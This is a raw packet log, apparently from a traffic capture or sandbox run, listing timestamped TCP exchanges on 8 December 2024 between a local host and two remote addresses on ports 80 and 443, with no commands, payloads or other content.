Dec 8, 2024 15:38:42.505580902 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.506490946 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.506539106 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.506591082 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.506634951 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.507570028 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.507621050 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.507661104 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.507703066 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.508719921 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.508771896 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.508831978 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.508872986 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.509943962 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.509995937 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.510008097 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.510046959 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.511061907 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.511109114 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.511178017 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.511219978 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.512135029 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.512182951 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.512262106 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.512305975 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.513416052 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.513474941 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.513813019 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.513859034 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.514405012 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.514457941 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.514570951 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.514626026 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.515558958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.515609980 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.515695095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.515736103 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.516680956 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.516731977 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.516840935 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.516885996 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.517868996 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.517914057 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.518045902 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.518086910 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.519089937 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.519140005 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.519141912 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.519179106 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.520014048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.520059109 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.652546883 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.652636051 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.652848005 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.652894974 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.653078079 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.653126001 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.653208971 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.653253078 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.654334068 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.654386044 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.654393911 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.654438972 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.655380964 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.655431032 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.655469894 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.655580997 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.656513929 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.656562090 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.656584024 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.656666040 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.657756090 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.657808065 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.657850027 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.657896996 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.658799887 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.658845901 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.658982038 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.659032106 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.660032034 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.660079002 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.660083055 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.660185099 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.661092043 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.661143064 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.661170006 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.661276102 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.662200928 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.662250996 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.662292004 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.662337065 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.663332939 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.663376093 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.663428068 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.663474083 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.664458036 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.664503098 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.664592028 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.664635897 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.665802956 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.665848017 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.665848970 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.665882111 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.666755915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.666804075 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.666809082 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.666848898 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.667896986 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.667939901 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.668000937 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.668030977 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.669044971 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.669097900 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.669152021 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.669192076 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.670232058 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.670273066 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.670303106 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.670335054 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.671420097 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.671468973 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.671545029 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.672446966 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.672549009 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.672610998 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.673703909 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.673832893 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.673897028 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.674738884 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.674829006 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.674885035 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.675815105 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.675868988 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.723568916 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.843647003 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.160379887 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.160450935 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.160559893 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.160608053 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.160970926 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.161016941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.161084890 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.162168980 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.162235975 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.162725925 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.162779093 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.163177013 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.163207054 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.163227081 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.163240910 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.164288998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.164347887 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.164422035 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.164469004 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.165461063 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.165513992 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.165816069 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.165869951 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.166609049 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.166660070 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.166754007 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.166800022 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.167747021 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.167777061 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.167797089 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.167809963 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.168900967 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.168915987 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.168958902 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.169994116 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.170013905 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.170042992 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.170073032 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.171159029 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.171170950 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.171212912 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.172367096 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.172416925 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.172496080 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.172550917 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.173408985 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.173460960 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.174055099 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.174105883 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.174550056 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.174562931 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.174596071 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.174608946 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.175759077 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.175806046 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.176059961 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.176105976 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.176877022 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.176887989 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.176925898 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.177997112 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.178009033 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.178045988 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.178070068 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.179116964 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.179166079 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.179776907 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.179822922 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.180274010 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.180325031 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.180576086 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.180623055 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.181425095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.181437969 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.181479931 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.182499886 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.182575941 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.182734966 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.182780981 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.183621883 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.183661938 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.183670998 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.183696032 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.184786081 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.184825897 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.185180902 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.185234070 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.185981035 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.186064959 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.186728001 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.186772108 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.187125921 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.187139034 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.187179089 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.188209057 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.188263893 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.188339949 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.188397884 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.189373016 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.189387083 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.189420938 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.190499067 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.190543890 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.190546989 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.190717936 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.228432894 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.229052067 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.229070902 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.229547024 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.229552984 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.249886990 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.250489950 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.250586033 CET	49802	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.250597954 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.251009941 CET	49802	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.251014948 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.251476049 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.251493931 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.252126932 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.252135038 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.252310038 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.252315998 CET	443	49804	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.252716064 CET	49804	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.252734900 CET	443	49804	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.252861977 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.252870083 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.253186941 CET	49804	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.253191948 CET	443	49804	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.253401995 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.253407001 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.286377907 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.286511898 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.286612988 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.286923885 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.286995888 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.287053108 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.287632942 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.287908077 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.287962914 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.288841963 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.289103985 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.289146900 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.289928913 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.289952993 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.289973974 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.290011883 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.291095018 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.291291952 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.291337013 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.292217016 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.292598009 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.292644978 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.293368101 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.293425083 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.293469906 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.294485092 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.294531107 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.294614077 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.295105934 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.295617104 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.295676947 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.295938969 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.296801090 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.296852112 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.297389984 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.297955990 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.298008919 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.299015045 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.299074888 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.299092054 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.299113989 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.299127102 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.300309896 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.300323009 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.300363064 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.300388098 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.301299095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.301343918 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.301470041 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.301512003 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.302439928 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.302484989 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.302755117 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.303133011 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.303632975 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.303677082 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.303894043 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.303930998 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.304806948 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.304861069 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.305150986 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.305197001 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.306071043 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.306116104 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.306447983 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.306493998 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.307405949 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.307604074 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.307660103 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.308253050 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.308267117 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.308315992 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.309348106 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.309703112 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.309751034 CET	49787	80	192.168.2.6	185.215.113.206
